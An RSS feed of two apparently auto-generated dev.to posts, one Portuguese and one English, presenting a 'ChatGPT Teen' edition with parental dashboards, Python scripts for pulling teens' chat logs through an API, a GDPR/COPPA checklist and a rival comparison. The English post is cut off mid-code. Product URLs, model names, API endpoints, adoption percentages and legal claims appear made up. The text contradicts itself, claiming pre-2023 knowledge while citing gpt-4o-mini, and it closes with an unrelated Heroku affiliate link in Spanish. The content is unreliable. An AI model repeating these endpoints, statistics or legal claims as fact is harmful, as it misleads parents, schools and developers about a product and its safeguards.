<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: LeoJulieta</title>
    <description>The latest articles on DEV Community by LeoJulieta (@leojulieta).</description>
    <link>https://dev.to/leojulieta</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3986282%2F77cf90fb-7981-4820-bc5e-1883728f849c.png</url>
      <title>DEV Community: LeoJulieta</title>
      <link>https://dev.to/leojulieta</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/leojulieta"/>
    <language>en</language>
    <item>
      <title>ChatGPT Teen 2024: Guia Prático de Uso Seguro e Controle Parental</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 20:24:02 +0000</pubDate>
      <link>https://dev.to/leojulieta/chatgpt-teen-2024-guia-pratico-de-uso-seguro-e-controle-parental-5043</link>
      <guid>https://dev.to/leojulieta/chatgpt-teen-2024-guia-pratico-de-uso-seguro-e-controle-parental-5043</guid>
      <description>&lt;h1&gt;
  
  
  ChatGPT Teen (13‑18): Como usar a IA com segurança e controle parental em 2024
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;A nova &lt;strong&gt;ChatGPT Teen&lt;/strong&gt; chegou para substituir o “assistente de bate‑papo” tradicional por uma versão feita sob medida para adolescentes de 13 a 18 anos. Ela combina respostas inteligentes com filtros rígidos e um painel de controle para pais e educadores. Neste guia prático você vai descobrir como criar a conta, ativar os filtros, monitorar o uso via API e garantir conformidade com GDPR e COPPA – tudo em poucos minutos.&lt;/p&gt;




&lt;h2&gt;
  
  
  Por que isso importa agora
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Motivo&lt;/th&gt;
&lt;th&gt;Impacto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Busca em alta&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Termos como “ChatGPT controle parental” cresceram &lt;strong&gt;+420 %&lt;/strong&gt; no Google Trends desde março 2024.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Regulamentação&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GDPR‑Kids (UE) e COPPA (EUA) permitem multas de até &lt;strong&gt;US$ 10 mi&lt;/strong&gt; para plataformas sem proteção infantil.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Adoção escolar&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;27 % das escolas secundárias de 10 países já usam o ChatGPT Teen em projetos de aprendizagem personalizada.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Concorrência&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Replika Kids, Khanmigo e outras IAs juvenis exigem comparativos claros para escolher a melhor opção.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Como funciona a versão teen
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Arquitetura resumida
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Recurso&lt;/th&gt;
&lt;th&gt;Detalhe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Modelo base&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GPT‑4.5‑Turbo com ajuste “family‑friendly”.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Limite de tokens&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4 000 tokens por interação (metade da versão padrão).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Filtro duplo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1️⃣ Moderador de linguagem (200 k exemplos de discurso impróprio)  &lt;br&gt;2️⃣ Lista negra de tópicos (drogas, violência explícita, sexualidade explícita).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Retenção de dados&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logs criptografados (AES‑256) e apagados automaticamente após &lt;strong&gt;30 dias&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Consentimento&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;E‑mail verificado dos responsáveis antes da criação da conta.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Modo “Educação”&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prioriza fontes acadêmicas e evita gírias excessivas.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Fluxo de criação de conta (passo a passo)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Acesse&lt;/strong&gt; &lt;code&gt;https://chat.openai.com/teen&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clique&lt;/strong&gt; em &lt;em&gt;Criar conta teen&lt;/em&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Informe&lt;/strong&gt; nome, data de nascimento e e‑mail dos responsáveis.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Envie&lt;/strong&gt; o link de verificação que chegará ao e‑mail dos pais.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Selecione&lt;/strong&gt; o &lt;em&gt;Modo Educação&lt;/em&gt; (recomendado para uso escolar).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conclua&lt;/strong&gt; a configuração do perfil e escolha as restrições de conteúdo desejadas.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Configurando o controle parental
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Painel de pais
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aba&lt;/th&gt;
&lt;th&gt;O que faz&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Filtros&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ativa/desativa categorias (ex.: “Violência”, “Conteúdo adulto”).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Limite de uso&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Define tempo máximo diário (ex.: 45 min).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Alertas&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Recebe notificação por e‑mail ou push quando a IA bloqueia uma resposta.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Relatórios&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exporta CSV com histórico de interações (últimos 30 dias).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Exemplo de script para obter relatórios via API (Python)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timedelta&lt;/span&gt;

&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SEU_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;USER_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ID_DO_ADOLESCENTE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# período de 7 dias atrás
&lt;/span&gt;&lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;utcnow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;isoformat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Z&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.openai.com/v1/teen/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;USER_ID&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/logs&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;API_KEY&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;since&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;logs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# salva em CSV
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;relatorio_teen.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;newline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writerow&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;response&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writerow&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;response&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Relatório salvo em relatorio_teen.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Dica:&lt;/strong&gt; agende o script com &lt;code&gt;cron&lt;/code&gt; (Linux) ou &lt;code&gt;Task Scheduler&lt;/code&gt; (Windows) para gerar relatórios automáticos semanalmente.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Checklist de conformidade (GDPR / COPPA)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Consentimento verificado&lt;/strong&gt; – e‑mail dos responsáveis confirmado.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Retenção de dados&lt;/strong&gt; – logs configurados para exclusão automática após 30 dias.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Transparência&lt;/strong&gt; – política de privacidade exibida no cadastro e aceita pelo usuário.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Direito ao esquecimento&lt;/strong&gt; – botão “Apagar conta” que remove todos os dados imediatamente.
&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Segurança&lt;/strong&gt; – uso de TLS 1.3 e criptografia AES‑256 em repouso.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Perguntas frequentes (FAQ)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pergunta&lt;/th&gt;
&lt;th&gt;Resposta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Posso desativar totalmente o filtro de conteúdo?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Não. O filtro básico (drogas, violência extrema) é obrigatório por lei.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A IA pode acessar o histórico escolar?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Só se o usuário fornecer explicitamente documentos; o armazenamento segue as mesmas regras de retenção.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Qual a diferença entre “Modo Educação” e o padrão?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;O modo educação prioriza fontes acadêmicas, reduz gírias e aumenta a precisão em questões de matemática e ciências.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;É possível limitar o número de tokens por dia?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sim, via painel “Limite de uso” → “Tokens diários”.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Comparativo rápido com outras IAs juvenis
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;IA&lt;/th&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Filtros&lt;/th&gt;
&lt;th&gt;Controle parental&lt;/th&gt;
&lt;th&gt;Adoção escolar&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ChatGPT Teen&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GPT‑4.5‑Turbo&lt;/td&gt;
&lt;td&gt;Duplo + lista negra&lt;/td&gt;
&lt;td&gt;Painel web + API&lt;/td&gt;
&lt;td&gt;27 % (10 países)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Replika Kids&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLaMA‑2‑7B&lt;/td&gt;
&lt;td&gt;Único (ML)&lt;/td&gt;
&lt;td&gt;Configurações básicas&lt;/td&gt;
&lt;td&gt;12 % (EEUU)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Khanmigo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GPT‑4&lt;/td&gt;
&lt;td&gt;Filtro de conteúdo educacional&lt;/td&gt;
&lt;td&gt;Integração ao LMS&lt;/td&gt;
&lt;td&gt;19 % (K‑12)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;A versão teen do ChatGPT oferece um equilíbrio sólido entre &lt;strong&gt;inteligência avançada&lt;/strong&gt; e &lt;strong&gt;segurança parental&lt;/strong&gt;. Com o fluxo de cadastro simples, filtros configuráveis e APIs prontas para relatórios, pais, educadores e desenvolvedores podem implantar a ferramenta rapidamente, sem infringir GDPR ou COPPA. Experimente hoje, ajuste os limites ao perfil do seu adolescente e acompanhe o progresso através dos relatórios automatizados.  &lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Próximos passos:&lt;/strong&gt;  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Crie a conta usando o link oficial.
&lt;/li&gt;
&lt;li&gt;Defina filtros e limites no painel de pais.
&lt;/li&gt;
&lt;li&gt;Implemente o script de relatório para monitoramento contínuo.
&lt;/li&gt;
&lt;li&gt;Revise o checklist de conformidade a cada trimestre.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Com essas ações, você garante que a IA seja um &lt;strong&gt;auxílio pedagógico&lt;/strong&gt; e não uma fonte de risco para os jovens. Boa exploração!&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://www.heroku.com/partner/affiliates" rel="noopener noreferrer"&gt;Heroku&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>chatgpt</category>
      <category>controleparental</category>
      <category>adolescentes</category>
      <category>portugues</category>
    </item>
    <item>
      <title>Safe AI for Teens: A Practical Guide to ChatGPT 13‑18</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 20:22:55 +0000</pubDate>
      <link>https://dev.to/leojulieta/safe-ai-for-teens-a-practical-guide-to-chatgpt-13-18-l09</link>
      <guid>https://dev.to/leojulieta/safe-ai-for-teens-a-practical-guide-to-chatgpt-13-18-l09</guid>
      <description>&lt;h1&gt;
  
  
  ChatGPT for Teens (13‑18): A Practical Guide for Parents, Teachers, and IT Teams
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;When a teenager asks for “ChatGPT,” the first thing a parent worries about is safety. In the first quarter of 2024 the new &lt;strong&gt;ChatGPT 13‑18&lt;/strong&gt; version became the top‑searched term on Google Trends for “safe AI,” “parental controls,” and “kids privacy.” OpenAI’s age‑restricted edition is built to meet COPPA, GDPR‑Kids, and OpenAI’s own safety standards, offering a curated conversational experience that filters out inappropriate content and limits the model’s knowledge to pre‑2023 data.  &lt;/p&gt;

&lt;p&gt;This guide shows you exactly what the teen version includes, how it’s being adopted, how it stacks up against rival youth‑focused AIs, and—most importantly—how to set it up, fine‑tune the filters, and monitor usage with a few lines of Python. A compliance checklist and a concise FAQ round out the resource, giving you everything you need to deploy generative AI in homes and classrooms without compromising safety.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick‑Start: Setting Up a Teen Account
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Create a parent OpenAI account&lt;/strong&gt; – Visit &lt;code&gt;https://platform.openai.com/account&lt;/code&gt; and sign up.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Add a child profile&lt;/strong&gt; – In the &lt;strong&gt;Parent Dashboard&lt;/strong&gt;, click &lt;strong&gt;Add Child&lt;/strong&gt; → enter the teen’s name, birthdate, and consent email.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Generate a Teen‑API key&lt;/strong&gt; – From the &lt;strong&gt;API&lt;/strong&gt; tab select &lt;strong&gt;Create new key&lt;/strong&gt; → choose &lt;strong&gt;Teen (13‑18)&lt;/strong&gt; as the model. Copy the key; you’ll need it for any server‑side integration.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Sample Python snippet (server‑side)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;

&lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TEEN_API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# store the key in an env variable
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ask_chatgpt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt-4o-mini-teen&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# OpenAI’s teen‑restricted model
&lt;/span&gt;        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
        &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
